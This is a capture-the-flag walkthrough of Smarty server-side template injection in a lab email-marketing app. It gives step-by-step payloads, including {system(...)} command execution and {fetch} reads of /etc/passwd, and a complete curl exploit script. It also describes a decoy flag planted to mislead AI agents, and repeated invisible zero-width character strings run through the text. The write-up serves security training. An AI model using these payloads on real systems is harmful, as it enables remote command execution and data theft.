MailPulse

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: decoy_flag_recognition, fetch_tag_bypass_via_system, rce_via_template_engine, smarty_math_confirmation, ssti_smarty_system_tag

Summary

Walkthrough of the CUSTOM Web MailPulse. Task: MailPulse email marketing platform with Smarty template engine editor and preview endpoint vulnerable to SSTI. Solution: Inject {system("cat /root/flag.txt")} via template preview API to achie

Description

MailPulse is an email marketing platform built by PulseMedia Inc. that lets teams create, personalize, and send email campaigns. Users can build email templates using a powerful template syntax with variables and layout inheritance, manage subscriber lists, and track campaign performance through detailed analytics. The platform includes a template editor that supports the Smarty template engine syntax for creating dynamic email templates. The goal is to find and exploit a vulnerability that allows reading sensitive files from the server. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A PHP 8.2.26 email marketing platform (MailPulse) running on Alpine Linux with nginx/1.25.5. The application features a template editor using the Smarty template engine with a server-side preview endpoint. The goal is to exploit Server-Side Template Injection (SSTI) to read sensitive files from the server.

Analysis

Reconnaissance

• Stack: PHP 8.2.26, Smarty template engine, nginx/1.25.5, Alpine Linux
• Credentials: user@test.com / password123
• Application sections: Dashboard, Campaigns, Templates, Subscribers, Analytics ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Decoy Flag (Honeypot)

The login page and other HTML pages contain a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} hidden in HTML comments and invisible <div> elements. This is designed to trick automated scanners and AI agents into reporting a false positive. Identified and ignored.

Vulnerable Endpoint

The Templates section at /templates/edit/1 contains a template editor with a "Preview" button. The JavaScript sends a POST request to:

POST /api/templates/preview
Content-Type: application/json
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

{"content": "<template code>", "template_id": "1"}

The server renders the template content using the Smarty engine and returns the result. The help text explicitly references Smarty syntax: {$subscriber.first_name}, {$company_name}, {extends "base.tpl"}.

Key Vulnerability

The Smarty template engine is not properly sandboxed. While the {fetch} tag has path-based restrictions preventing access to certain files, the {system()} tag is unrestricted, allowing full OS command execution.

Solution

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 1: Confirm SSTI

Inject a math expression to confirm server-side template evaluation:

{math equation="7*7"}

Response: 49 — confirms the Smarty engine evaluates injected template code.

Step 2: Attempt File Read via {fetch}

{fetch file="/etc/passwd"}

Response: Successfully returned /etc/passwd contents — confirms file read capability.

{fetch file="/tmp/flag.txt"}
{fetch file="/flag.txt"}

Response: "cannot read resource" — path restrictions block access to flag locations via {fetch}. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Escalate to RCE via {system}

Smarty's {system()} tag executes OS commands without restriction:

{system("ls /")}

Response: Root filesystem listing (Alpine Linux structure).

{system("find / -name \"flag*\" 2>/dev/null")}

Response: Found /root/flag.txt.

Step 4: Read the Flag

{system("cat /root/flag.txt")}

Response: FLAG{REDACTED}

Full Exploit (curl)

 bash read-only • copy allowed Copy
#!/bin/bash
# MailPulse SSTI exploit via Smarty {system()} tag
TARGET="https://dcd64cfd-e916-4a8e-8a23-2a3ee052c5db.labs.hackadvisor.io"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 1: Login and get session cookie
COOKIE=$(curl -s -c - "$TARGET/login" \
  -d "email=user@test.com&password=password123" | grep -o 'PHPSESSID=[^;]*')

# Step 2: Exploit SSTI to read flag
curl -s "$TARGET/api/templates/preview" \
  -H "Cookie: $COOKIE" \
  -H "Content-Type: application/json" \
  -d '{"content": "{system(\"cat /root/flag.txt\")}", "template_id": "1"}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering decoy_flag_recognition, fetch_tag_bypass_via_system, rce_via_template_engine, smarty_math_confirmation, ssti_smarty_system_tag was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-05-05 • CUSTOM • MailPulse • Difficulty: Medium